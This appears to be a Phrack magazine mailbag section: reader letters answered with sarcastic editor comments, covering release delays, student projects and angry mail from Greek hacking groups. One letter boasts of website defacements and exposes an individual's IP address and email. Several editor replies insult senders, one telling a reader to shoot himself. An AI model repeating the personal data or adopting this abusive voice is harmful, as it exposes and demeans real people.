[ Do you have a paypal account? ]

‑‑

From: David ***** <dfg******@yahoo.com>

Subject: RootKit Iphone 4g

Hey i was recently on your website and well i was looking for something to mess with my friends, see were all in the same class and we all connect to the same network/router thing, and you hve to login to gain acess to the network, so i was wondering if there was a way to control my friends computer with mine while were hook to the network.

[ XD ]

DoFoG

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x06 ‑ About the scene philes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: Prashant KV <bug@null.co.in>

Subject: Thank You

[ You're very welcome. ]

Hi,

I would like say thanks each and every individual in Phrack team for publishing our article. This will go a long way in creating awareness about null community.

Thanks all....

[ And thank you for the scene phile. Always a pleasure to exchange with interesting/nice people. ]

‑‑

From: Hackers News <thehackernews@gmail.com>

Subject: Article Editing

[ HEY!!! You're the guy who tried to befriend us on linkedin!!! ]

Hello Sir,

We are admin of "*The Hacker News*" : *http://www.thehackernews.com/* . We

read an article on your Website : http://www.phrack.org/issues.html?issue=67&id=16#article

I wanna ask you that on what basis you write about "*Indian Cyber Army : http://www.cyberarmy.in/*" .

* Fake ICA. There is yet another ICA (cyberarmy.in) which is announced as fake ICA by the actual ICA group. One glance at the website content tells you that there is some truth to what the actual ICA(indishell) guys and other say and reminds you of the infamous plagiarism cases (Ah! Any Indian h4x0r's favourite topic when they feel like bitching about something :‑P)*

*Whatever you write is not fair and I think it represents the mistake done by you, that you write about a group without knowing about them, Read This : *

*http://www.cyberarmy.in/p/about‑us.html*

*and I think you should 1st know about it. Hope you will edit the article.... as soon as possible.*

[ You may or may not be right and clearly we don't have enough information to judge. For the sake of the truth and freedom of speech, we are posting your comment. ]

*Thanks,*

[ No prob dude. ]

*Owner*

*The Hacker News...*

‑‑

[ The following is a mail that we received several times between the 21st and the 22nd of June... As we said in the introduction, a few greek people were angry because of the scene phile. Because we're (not that much) bastards, we felt that these people deserved the right to be published as well. So here it is...

Oh and they even pasted it in the comments! ]

From: xak xak0r <xak3ri@hotmail.com>

Subject: Greek Hacking Scene is alive!

From: Unkn0wn <unknown.ws1@gmail.com>

Subject: GHS ‑ read this message

From: Spyros Kous <spirou1988@hotmail.com>

Subject: GHS for you.

From: nikos piperos <piperos_22@hotmail.com>

Subject: By <GHS>

From: ****** ******* <deathlyrhymer@hotmail.com>

Subject: greek.hacking.scene

[ Sorry, due to ASCII constraints we had to censor the name of this guy :D ]

From: Stephen O'Neill <apple‑whore@hotmail.com>

Subject: 0xghs

[ You've got your hex wrong dude ]

From: Brian Higgins <bhiggins69@hotmail.com>

Subject: **************************

[ Hey next time write the subject in english please :) ]

From: eibhlin mcnamara <mcnamara105@hotmail.com>

Subject: G*H*S ‑ always here

[ A sibling of Sean maybe? ]

From: nikpa pfcc <aeknik@hotmail.com>

Subject: Greek Hacking Scene ‑ Read your errors

From: nikpa papaa <nikpa21@gmail.com>

Subject: Greek Hacking Scene ‑ Read your errors

[ Yeah, we ordered the lamb gyros with extra pita and tzatziki. None of you guys delivered. Worst Greek Hacking Scene evar! Would not order from you again. ]

From: NIKO*** *ANTAZO*OY*** <aeknik@yahoo.gr>

Subject: Read this, about errors ‑ GHS

[ This one had his name only partially encrypted. ]

From: kondor fromGHS <kondorghs@gmail.com>

Subject: Greek Hacking Scene

[ Hey Kevin Mitnick? :) ]

Nice to see Greek Hacking Scene on Phrack, but very sad to say that there is no connection of all those with reality. This post represents something that even doesn't exist except theory.

In the other hand, is not mentioned technological steps and targets that Greek Hacking Scene archived, not in theory, but in actions.

However in the References i see nothing trust source, while you avoid posts on newspapers, magazines and tv about Greek Hacking Scene.

Maybe Phrack can't handle the name of GHS and writing about fantasies. Greek Hacking Scene is not a group, team or crew etc. but is ideology of decades, is not about fame, but is about targets, technology and advance. You must know that GHS does NOT follow things such "Hackers Manifesto" and is well known that this person take back what he said about this manifesto in shake to save him from things. He even does NOT defence his ideology, how then we can accept such thing?! Basically we are what we create and we gonna call hacking what we think hacking is, you can call us as you want, but this can't change our actions, we not negotiate our ideology and we are not followers of any paid, fantasy or theory ideologies. We rage against machine, the system. Is good that Phrack exist cuz keep the magic to those who want to be related with hacking. While you keep the feeling of magic to your readers, we know that is all about coding, methodology and how far each mind can think to do things.

For those who forgets, security is a part of hacking, security is not hacking. Hacking is every electronic violation, violation doesn't mean that is illegal always. As a term, hacking is every electronic violation.

About Greek Hacking Scene you forget to mention a lot of groups and people (and is not about names) who they did things and they left lot of stuffs behind. Those people and groups they never care about their nicknames or the name of the group cuz is useless, can be any nickname or group name, at the end what it left, is what had created. Who make it, it doesn't matter really cuz those who make it as share they do it cuz they want.

If is to write about things that are not related with the true and reality, better don't write about Greek Hacking Scene. You can write for posers and others who they want fame, but not for GHS. You can write fantasy, stories, anything you like, but as long as is not connected with reality and true, then don't write about Greek Hacking Scene. Maybe you can write for any other Greek Hacking Scene you want or you believe, but mention also that is not connected all those stories with Greek Hacking Scene (GREEK SENTENCE).

[ GREEK SENTENCE is something written in greek that we could not translate nor write in the phile because of the greek alphabet. ]

Cheers,

Your article forgets to write about DefCon meetings that take place in Greece, and of course about the unique Codehack meetings that shows live Hacking. Or even is not mentioned things such SpyAdmin and Firehole, or what about Hash, Phrapes, Cdx, r00thell, hackgr and more?! What about the references on magazines, newspapers and tv? What about the members of Greek Hacking Scene that works on penetration testing companies or making atm softwares and banking or those who works in known computers and servers companies and they create technology?!

About the grhack (that nobody knows) is those guys from auth that got hacked their servers and their pcs and tooked personal files of them?

Check this link:

http://zone‑h.org/mirror/id/6638423

I read slasher?! This person who has the grhack site that you took as reference?! With the name ********** **********?!

[ Publishing an individual's real name is against our rules. You got away with it in the comment section once. ]

Oh come on, i have also beautiful pictures who they poser as engineers! Oh now i got it! They write about their selfs! How smart... what a fame... what a pose!

Before you write anything about Greek Hacking Scene take a look to the targets. We have down anarchist such indymedia sites, and also nationalist sites, as well he hacked into Goverment sites, political parties, national services, and of course all the hacking‑security related greek sites who they offer only theory and lies that has no connection with reallity and hacking.

And i guess so you promote the Anarchy?! So don't forget Phrack to mention that everything you wrote is about Anarchy, not about hacking.

Greek Hacking Scene has members from all political sides and we have things in common we work for.

This is grhack.net, this is the guy that send hopeless messages to google blogspot to DOWN the info that SpyAdmin post, passwords, files, everything!

‑>> Slasher is nameless@155.207.206.86 (LoCo En El CoCo)

‑>> Slasher is on: #grhack #anarchy

‑‑ChanServ‑‑ Information for channel #grhack:

‑‑ChanServ‑‑ Founder: Slasher

‑‑ChanServ‑‑ Description: GR Hack ‑ http://www.grhack.net

‑‑ChanServ‑‑ Registered: Aug 05 21:36:46 2010 EEST

‑‑NickServ‑‑ Information for nickname Slasher:

‑‑NickServ‑‑ Realname: LoCo En El CoCo

‑‑NickServ‑‑ Is online since: Dec 21 17:26:15 2010 EET ‑‑NickServ‑‑ Time registered: Oct 25 23:22:13 1999 EEST ‑‑NickServ‑‑ Last quit message: Ping timeout

‑‑NickServ‑‑ E‑mail address: slasher@grhack.net ‑‑NickServ‑‑ Options: Kill protection, Security, Private ‑‑NickServ‑‑ *** End of Info ***

Maybe spyadmin is closed by google blogspot after the emails of grhack.net Slasher cuz the stuff is related about him

but look the comments of this website and the date, to know the existance of spyadmin

http://press‑gr.blogspot.com/2007/09/blog‑post_3165.html

(SOMETHING IN GREEK...)

spyadmin.blogspot.com

(SOMETHING IN GREEK AGAIN)

(7 September 2007)

Now look also the date of the defacement in the zone‑h digital archive:

http://zone‑h.org/mirror/id/6638423

and look the date too,

# Mirror saved on: 2007‑09‑08 13:58:32

# * Notified by: GHS

(8 September 2007)

‑‑‑

Greek Hacking Scene has no colour and does not support any political side.

Take example to indymedia athens, i will give you 2 links, in the first they say that GHS is nationalist and hack their website, and in the other link on the same website, they give congratulations in GHS cuz they did actions and defacements according to left ideology.

In fact GHS has it's own ideology and act as GHS believe.

1 link:

http://athens.indymedia.org/front.php3?lang=3Del&article_id=3D706934

2 link:

http://athens.indymedia.org/front.php3?lang=3Del&article_id=3D620090

The comments are yours, let see the Freedom of Speech now, the TRUE the REALITY, the FACTS!

Somes they didn't learn from their mistakes. GHS has no hate for anyone and act not for revenge causes or anything else. According to all our actions, we do warning and when we act we just put the informations as is, we don't put sauses, you put sauses maybe.

The reason i wrote this is the true and reality.

Before some years there are many "hackers" in Greek chat rooms etc, they speak about theory and when kids comming to learn, they laught only at them and they make those kids to become like them, liers without education and knowledge, kids that become like them, to know just some words, theory without they know what for they speak about and to spend lost time chatting and destroy other kids comming. Members of GHS hacked and take access in most and almost all Greek websites, chat rooms, irc servers etc, that was security‑hacking related. We are always here, maybe not the same persons, but members of GHS are change all the time and keep the safe ideology. In the other hand, we let teenagers who are interested to hacking, we turn them to coding, to let them think their future, education, freedom ideas and to let them want to do things and create. Defacements and Hacking are our fireworks to let them get the magic and on the way to show to them that there are so many tools and things on net to hack a website and hack, but if you want to go more further, you have to learn coding, to explore, to let your mind free and think far away, for what can be happen and what not. To go a step further with their minds, not by giving them stuff in the plate, but let them do it and explore it by their selfs! I know keeps that believe and do things, on the way they do things and go advance, those kids are the next cycle of GHS who will pass the same ideas, believes and technology to the next generations.

Greek Hacking Scene 2010.

[ All we can say is 'What?' ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x07 ‑ Interesting mails ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: "L. *****" <l.*******@yahoo.com>

Subject: idea for next profile

my you should do a hacker profile on j3ster since he is one of the most prominent hackers that I've heard about out there,

[ Dunno the guy. We already chose one anyway. You may have heard of him. ]

or do one on that rat who turned in bradley manning

[ The saying is not: Snitches get Prophiles. ]

‑‑

From: infosec <infosec@cyberdo.net>

Subject: Release date?

Hi Guys,

Firstly, let me thank you for the on‑going release of this great e‑zine.

[ You're welcome. ]

Most of these e‑zines surfaced and then disappears over the horizon yet albeit the long term delays in‑between releases :)you've kept this going.

Thank you.

[ ^_^ ]

I am very much interested in the up and coming release and would like to know the date or drop us a note on the website.

[ Done. ]

Also, I'd like to know how to join phrack team of staff.

[ There is a GREAT mystery about how the phrack staff acquires members. Sorry dude, there is currently no open spot :) ]

Greetz,

infosec

‑‑

From: Zagan Hacktop <zagan@live.co.uk>

Subject:

YO!

do you still have an IRC?

[ We do. But it's a private one. We may open a public or half‑public one someday... Don't hold your breath however. ]

‑‑

From: daniel ***** <******@gmail.com>

Subject: new age LoD

hi am a head of a team that disided that LoD

is a legacy and cant just disappear... it must be reborn or the web will loose alot and with the way things are going today

the web realy cant efored it or it will eventualy die for the simple user...

we are looking for the original LoD members (or at list any way to comunicate with them)

(specialy for night lightning)

if this information can be passed to them it would be realy nice.. all we want is a some advice (not technical) ...

my email is ******@gmail.com (nick: galeran).

if you can help please do

thanks

[ Not sure about the true intentions but anyway this might help.]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x08 ‑ Greek people are angry ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

[ For clarification purposes, we received this mail after we released the index and before we released the philes. ]

‑‑

From: Iordanis Patimenos <iopatmenos@yahoo.gr>

Subject: Phrack 67

[ So what, another greek? At least this one is not complaining about the scene phile ;) ]

YEAR: 2010, OSs:64‑bit, protection mechanisms: ASLR, DEP, NX, .... , Attack mechanisms: JAVA VM exploitation, Flash VM exploitation, ... the only thing you had to do was to let the knowledge flow.

[ The only thing? Such a nice little kid daydreaming :) ]

What to do the info in 'Scraps of notes on remote stack overflow exploitation', 'Exploiting Memory Corruptions in Fortran Programs Under Unix/VMS' (FORTRAN wtf),

[ FORTRAN... indeed :') We'll do something about COBOL as well (it is 'safe' so no memory corruptions, something else). We'll keep you posted. ]

'A Eulogy For Format Strings' if we cannot apply on current protection mechanisms.

[ Well that's the point. You can. Oh wait, you would have known if you had kept your sorry mouth shut and actually read the papers first :> ]

New edit or better you didn't publish this new fucking delayed, bad content phrack p67, BIG FAIL, that's not the PHRACK we know. What a retarded content you provided after all this waiting time!!! Not a chance to compare to previous phrack issues. This issue is just a joke, nothing more, happy 1st APril assholes, you made PHRACK seems trash magazine.

[ The cool thing with morons like you is that it would be pointless to explain things, which makes our job somewhat easier. Congratulations for your participation in p68, you've made it ;‑) ]

‑Fan of Phrack‑

[ Yes. It shows. ]

‑‑

From: Nikol Eleutheriou <nikoletaki_87@yahoo.gr>

Subject: JUNE 2011: PHRACK ISSUE #68 ... YES _THAT_ SOON

[ Another desperate housewife? The name is familiar...]

YOU ARE SO FUCKING FUNNY

[ WE DO HOPE WE ARE ]

I'M SURE THE NEW ISSUE WILL BE SUCH A FAIL AS THE PREVIOUS ONE (THE ONE THAT YOU TRIED TO ADVERTISE AS A BIG HIT)

[ OHHHHH A BIG HIT REALLY? DAMMIT MY CAPSLOCK IS REALLY FUCKED. ]

JUNE 2011: PHRACK ISSUE #68 ... YES _SUCH_A_FAIL

[ NOT IN JUNE, WE ARE *ALWAYS* LATE ]

‑‑

From: Nikol Eleutheriou <nikoletaki_87@yahoo.gr>

Subject: JUNE 2011: PHRACK ISSUE #68 ... YES _THAT_ SOON

Group: The Phrack Staff

[ Hum, it seems that you have fixed the capslock problem. You're elite. ]

Most *FAIL* group ever in phrack, you hurt the magazine go away.

[ Hey now I remember you!!! :) It looks like you are obsessed with us. You must be our number one fan in greece. Even now that we have so many greek fans. ]

>>>>>>>>>> From earlier >>>>>>>>>>

From: Nikol Eleutheriou <nikoletaki_87@yahoo.gr> Subject: Phrack issue 58

How can i get the binary‑encryption.tar.gz

from the article Runtime binary encryption?

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[ So:

1. Did you manage to download the file? :))))) 2. *EPIC* *FAIL*?

]

‑‑

From: Nikol Eleutheriou <nikoletaki_87@yahoo.gr>

Subject: New phrack issue

[ What? You again? ]

Marry Christamas :) and happy New York

[ LOL. You're doing it wrong! ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x09 ‑ PHRACK got spam'd? ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: ***** ******** <darkjoker93@gmail.com>

Subject: ANTISPAM

Hi guys :)

Here's an article I've just written, I know it's a bit late for the submissions, but perhaps you may publish it in the next issue. Anyway, the topic is how to bypass a captcha, and, in particular, how to bypass the one on your site :). No offense, but it's really weak.

[ None taken. We simply took the first capcha mechanism available on the web which was not going to get us owned. However we got spam, that's for sure, sorry about that fellow readers. ]

If you don't find it interesting please at least change your captcha because I'm really sick (and I'm sure I'm not the only one) of reading spam messages (I swear it was not me :).

[ We'll do both so that you can get better :> ]

I'm italian, therefore my english is not very good,

[ Nobody's perfect! ]

if the paper is so bad written it can't be even read, send it back to me, I'll try to rewrite it in a better way.

Bye,

darkjoker

[ And that's the story of how his contribution got published in Linenoise. Thx darkjoker. ]

‑‑

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x0A ‑ The urge to get p68!!! ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: Barak ***** <barak*****@gmail.com>

Subject: Question

[ This one is not the current president of the US, we checked. ]

Hi,

I have been following the magazine for a while now and I have been waiting for the new issue. Last I checked it was suppose to come out in June... Can you let me know when I should except the new issue?

[ Are you reading this? Then issue #68 is out. You're welcome. ]

Barak

[ That's the problem with every issue, you should NEVER trust us when we announce dates ;) ]

‑‑

From: Rodri ***** <rodrigo******@hotmail.com>

Subject:

[ Hey ANTISPAM is missing! ]

Hello,

For godsake we are already in June!

[ Sorry about that bro :) ]

Now seriously and kindly is it coming out soon?

Best regards.

Roders.

‑‑

From: LEGEND XEON <legend.xeon@gmail.com>

Subject: Phrack 68th Issue Release

Hello mate,

I am very interested in upcoming 68th issue of phrack.

The whole world is counting on you!!

[ The whole world? Not even the whole scene mate ;) ]

I just want to know when will be the release and can you give me a glimpse of contents inside it.

I will be eagerly waiting for your reply.

[ Hehe, hope you didn't wait too much. ]

~Legend_Xeon

‑‑

From: fernando ****** <core******@gmail.com>

Subject:

my life gets duller every day you don't release the new issue

[ Let's hope this one didn't commit suicide before we released :| ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x0B ‑ Students project? ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: "(s) Charmaine Anderson" <Charmaine.Anderson@students.newport.ac.uk> Subject: Creating Middle‑Ware for Distributed Cryptanalytic Applications

To whom it may concern,

I am contacting you to tell you about my final year project for my degree. I would be very grateful if you were able to follow my progress and perhaps also contribute any tips and ideas. I will also be writing an application which, if successful, I will be posting online for download.

Using the RC5 block cipher and the competitions run by RSA Laboratories (1997‑2007) as benchmarks, experiments will be conducted using different methods of distributed computing. The implications of the results will lead to a better understanding of how cryptanalysis can be conducted through areas such as grids and internet‑based cloud computing or virtualisation.

The reason for this project is that distribution methods have been used for many years in order to conduct cryptanalysis; however, I have noticed that this has been for purposes such as testing the security of new ciphers and creating a better understanding of how they work. But, to my knowledge, there has been little‑to‑no research into the implications of real‑world attacks through distribution.

To summarise, I plan to test the limits of computational security in order to expose the possibility of real‑world cryptanalytic attacks using the 'unlimited' computing power that is slowly becoming available to the public.

It is possible to follow the progress of this project through http://www.distributedcryptanalysis.co.uk/. A number of blogs are also

being used in order to attract more interest, links to these will be posted on the website very shortly.

Yours Sincerely,

Charmaine Anderson

BSc (Hons) Forensic Computing

University of Wales, Newport

[ Well he seemed to be a good kid so we published his mail ;) ]

‑‑

From: Johannes Mitterer <johannesmitterer@googlemail.com> Subject: Hacker's Manifesto

Dear Phrack‑Team,

currently I'm working on my bachelor's thesis part of which is an analysis of The Mentor's Hacker's Manifesto. In this context, there's little confusion about the question how the manifesto was first published. As I understand it, the manifesto was first published ONLINE in phrack magazin, whereas my professor stated that the first issues of phrack including Issue #7 in which the manifesto was published were only available offline as a printed version and later put on the internet. Perhaps You could help me clearing up this confusion.

[ Wasn't the early edition of phrack all scene .txt philes on BBSes? Like, #7 was pre internet for sure. I doubt that any of the editors back then would have bothered printing hardcopies, since it is extremely inefficient and expensive and the target audience is ppl w/ computers. ]

Thanks in advance!

Yours,

Johannes Mitterer

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x0C ‑ Phrack & the chicks ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: kimberly ‑ <*******@hotmail.com>

Subject: Graduate essay

Hello Staff,

We are senior high school students from 'Stella Maris College' in the Netherlands and we are writing an essay about the reputation of hacking. If it is okay with you, we would like to ask a few questions:

‑ How could you start the site, because hacking is illegal and it might endanger your users who discuss hacking?

[ Wait it's illegal? We're shutting down the site immediately :| ]

‑ Have you ever gotten negative/positive reactions to your site? And what where those reactions?

[ Well everything is in this file :D ]

‑ Is there any information that is not known to people who are not hackers and that is not easy to find in books or the internet? If so, where could we find this information?

[ IRCS? Nah it's just for the chitchat :) ]

‑ Is there anything in your opinion that is so important, that we can't possibly leave out? We would be very happy if you could answer these questions or forward this email to someone who might know more about this.

[ I'm not too sure you guys will be able to graduate with that many questions so good luck :D ]

Thank you very much in advance!

‑ Dingding and Kimberly

‑‑

From: Eva ******* <*****@gmail.com>

Subject: Article

Dear Phrack Staff,

I'm preparing an article concerning some hacks to Linden Lab's SecondLife viewer and I would like to publish the results in your magazine. Could you please, if possible, provide some details where and to whom I should send it to and if there are any requirements I must fulfil.

Thank you,

Eva

[ We published the paper in the linenoise.

Thanks for the submission Eva! Nice pics btw ;> ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x0D ‑ ROFL ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: ***** ***** <****.*****.****@gmail.com>

Subject: script

Man, I was bored taking a break from working on a vpn project at a library and decided to make a script in bash to download and decompress the phrack mags. Its newb meat but I guess Im just going to send it in for you guys to laugh at, rofl.

[ ROFL indeed. ]

‑‑‑

Jackie ***** ****** ‑ *"Focus on Solutions not Problems"*

[ But you create solutions for non existent problems :D ]

Email0: *****.*****.*****@gmail.com

Email1: skraps_rwt@yahoo.com

[ We added the script below. If someone could help Nikol Eleutheriou to decrypt it so that she doesn't complain please... ]

begin‑base64 644 getPhrack.sh IyEvYmluL2Jhc2gKCiNDVVJJU1NVRT0iNjciClVSTD0iaHR0cDovL3d3dy5w aHJhY2sub3JnL2FyY2hpdmVzL3Rnei8iCkVaSU5FRElSPSIvaG9tZS9za3Jh cHMvZXppbmVzL3BocmFjay8iCkNVUklTU1VFPWBHRVQgaHR0cDovL3d3dy5w aHJhY2sub3JnLyB8IGdyZXAgSVNTVUUgfCBjdXQgLWIgNTAtNTFgCiNwaHJh Y2s2Ny50YXIuZ3oKCmNkICRFWklORURJUgoKZXhpdHN0YXQoKXsKCWlmIFsg JD8gPT0gIjAiIF07IHRoZW4KCQllY2hvICJFeHRyYWN0aW9uIHN1c2NjZXMi CgllbHNlCiAgICAgICAgICAgICAgICBlY2hvICJFeHRyYWN0aW9uIGZhaWxl ZCIKICAgICAgICBmaQp9Cgpmb3IgKCggeD0xOyB4PCRDVVJJU1NVRTsgeCsr ICkpOyBkbwoJaWYgWyAtZiAke0VaSU5FRElSfXBocmFjayR7eH0udGFyLmd6 IF07IHRoZW4KCWVjaG8gIklzc3VlICR4IGV4aXN0cyIKCQlpZiBbIC1lICR7 RVpJTkVESVJ9JHt4fSBdOyB0aGVuCgkJCWVjaG8gIklzc3VlIHByZXZpb3Vz bHkgZXh0cmFjdGVkIgoJCWVsc2UKCQkJZWNobyAiRXh0cmFjdGluZyBJc3N1 ZSAkeCIKCQkJdGFyIHp4ZiAke0VaSU5FRElSfXBocmFjayR7eH0udGFyLmd6 CgkJCWV4aXRzdGF0CgkJZmkKCWVsc2UKCgkJZWNobyAiRG93bmxvYWRpbmcg aXNzdWUgJHggLi4uLiIKCQlHRVQgJHtVUkx9cGhyYWNrJHt4fS50YXIuZ3og PiAke0VaSU5FRElSfXBocmFjayR7eH0udGFyLmd6CgkJZWNobyAiRG9uZSBk b3dubG9hZGluZyBpc3N1ZSAkeCAuLi4uIgoJCWVjaG8gIkV4dHJhY3Rpbmcg aXNzdWUgJHgiCgkJdGFyIHp4dmYgJHtFWklORURJUn1waHJhY2ske3h9LnRh ci5negoJCWV4aXRzdGF0CglmaQpkb25lICAK

====

‑‑

From: Tom <thom128@gmail.com>

Subject: Phrack Rules The World!

Hi there,

I like hacking but I never done it.

[ So how do you know that you like it? ]

Wrote a poem about it.

[ Was it worth it? ]

I wanna work in IT as systems admin.

[ Hem... ok? Why? :) ]

Please publish my poem in your magazine.

[ Done! ]

Phrack Rules!

[ Sure it does! ]

Heil from London, England.

Razor Tech Warrior

They told you that you were nothing

Just another name and number

They said you were dumb and dumber

But you stole

Their lives away

Network Nazi

Live to fight another day

[ Network Nazi Live to fight another day <‑‑ WTF ???? ]

Through the black

Of the nights metal sheets

In tower blocks and tenements

Cyber crime it breeds

The government will stomp you out

But burn their kernel

Lock it down

While others are still asleep.

[ We are speechless. All we can say is: LOL. ]

‑‑

From: Tom <thom***@gmail.com>

Subject: Some Photos From London

Hi there,

Just thought i would send u some pics of me and my family/friends. i love the mag am a big fan...keep up the good work.

[ And he really sent us pics. Your Grandma seems nice btw but you look like a virgin geek unfortunately :( ]

‑‑

From: b‑fox <*****@bol.com.br>

Subject: Hey... Mother fucker

[ Hey. p0rn industry calls it MILF fucking ]

Wait my document... I'm gonna write I paper today about/regarding bomb development and something abt legislation in general. Huge hug!

[ Priceless. :') ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x0E ‑ Shame Shame Shame.......shame on you ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: varenya mehta <varenya2007@yahoo.co.in>

Subject: ANTISPAM

Run both ethernet and phone over existing Cat‑5 cable

[ Cool! New submission! \o/ ]

The new fad when building a house is to run Cat‑5 cable to every wall jack. These jacks can then be used for either ethernet or phone. When we got our new house built, we chose to get four of these jacks, and we intended to use them for phone service. Unfortunately, the wifi is a bit flaky in places (even with two access points.) This got annoying up until the point where three of the four wall jacks were being used for ethernet, leaving just one for phone. This was a problem.

The solution is to run both ethernet and phone over the same existing cat‑5 cable. Every wall jack becomes two jacks, one RJ‑11 for phone and one RJ‑45 for ethernet. This neat hack could save you a lot of money, as you only have to buy new wall plates and jacks rather than wall plates, jacks, and hundreds of feet of wire.

[ Really cool hack. This one may fit in the linenoise :) ]

[...]

Also note that this procedure will not work with PoE (Power over Ethernet) devices. Nothing bad will happen, it just won't transmit power. See step 13 for apossibly unsafe way to keep your PoE and add phone service. Also, it will not work with gigabit ethernet‑‑ gigabit ethernet uses all four pairs. It will work fine at 10/100 Mbps which is sufficient for most people

[ Wait! Something is wrong. What is step13 and aren't a few things missing? Let's google() a bit...

@(X_X)@

http://www.instructables.com/id/Hack‑your‑House‑Run‑both‑ethernet‑

and‑phone‑over‑/

So not only did you send us a ripped paper. But you idiot were not smart enough to click on "Next step" to copy the whole. LOL. ]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

P.S. ‑please reply whether my submission will be added or not in this edition of ur highly esteemed Phrack magazine...loking forward to your reply :)

cheers

[ Ur highly esteemed Phrack magazine would recommend to go shoot yourself. ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x0F ‑ Insanity or SPAM??? ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

‑‑

From: John Smith <devils‑advocate‑666@live.com>

Subject: Dear staff(at)phrack[DOT]org; I love what you guys do for the U.S.A! Can you email your e news letters too please? Thank you.

Can you please add me to your e‑news letter list, so that I can recieve new updates from your cite? I totally loved what you guys had written about ai, and mind hacking and about hacking for the U.S. and Cypher Punks & Ninja Strike Force! Best of luck to all of you staff members at Phrack! I would like to know if you guys could please email me back some information in regards about rsome bank accounts that was on CRYPTOME, or if you guys could tell me about how you all had cash flow that came from hacked ATM terminals that you guys had done remotely, because I need to be hacking systems right now and I had all of my stuff jacked and I was robbed with all of your softwares that I had for CIA/ NSA and I've been trying to log onto some banking systems for my CIA/ NSA digital cash, or could you guys send me some lock picks, or DIE BOLD keys to open some safes and vaults or could you send me some Cypher Punks white paiges or other instructions to interceptor frozen accounts on line and or how to obtain money for starting a Cypher Punks EBB & FLO system to develope an agriculture business plan that will help finance money for CIA & NSA op (ie‑ with IQT and with Foresight Nanotechnology Institute and with CTBA.org) to counter the HASHID culture? Such as GSPC in Morocco and in Algeria, GIA, FIS, ETI, AQIM, Sahel Pan, DR‑CONGO, AQAP, Hezbollah, HAMAS, Hizbullah, IMU, and fighting against the salafyists in the Magreb's EU‑Arabia HASHID zones, and against the EVIL EMPIRE's MOIS, MEK, MEKO, PKK, VEVAK, ISI, FSB, KGB, NAK, GRU, and Brazillian Guerillas and Chychenian Rebels and mob and Russian Mob for GAZPROM Russian Mob Oil Monopoly and countering all of these groups members and contacts and countering their economic insugernt threats internationally, by hacking into their networks and locating them with RNM ai, and blood clotting the Evil Empire, and moving and on the GO like CIA backing the "Wrath of GOD" and with the Cult of CIA's MKULTRA program, and I mean redndering synapsial "WET WORK" by taking their ballance with the "EXIT BLOW," for NSA/ CIA's Ninja Strike Force and I want to be taking our threats to the Land of Snow and flurries will show me to the rest of their Evil Empires members locations by terminating them with Illuminati and I'll be hacking their minds and their bank accounts and stealing all of their wealth and contacts and other intelligence for RED Team, and taking their materials as loot, and sending it onto an encrypted site, but I want to creat my own ai online site with grant.gov grant money asap, and then once that's done I can go and locate them with RNM ai, but I would like aving somean ai quantum consciousness program with a self assembling "FOG" EW ai HDD quantum computer with an infinite memory that would allow me to hack bank accounts with an ip installed with nano‑bio‑technologies with inner cellular blood vessel programming and cellular mind net morphing technologies with RNM, nanotechnology made with a neuronal networking and has a 3‑d holographic video and 3‑d holographic audio with real world and mirror world ai 3‑d/ 4‑d softwares for an online Cypher Punks & Ninja Strike Force & Cult of Dead Cow members with other CIA/ NSA Intelligence Analysis Cammander's of Red Teaming (aka‑ 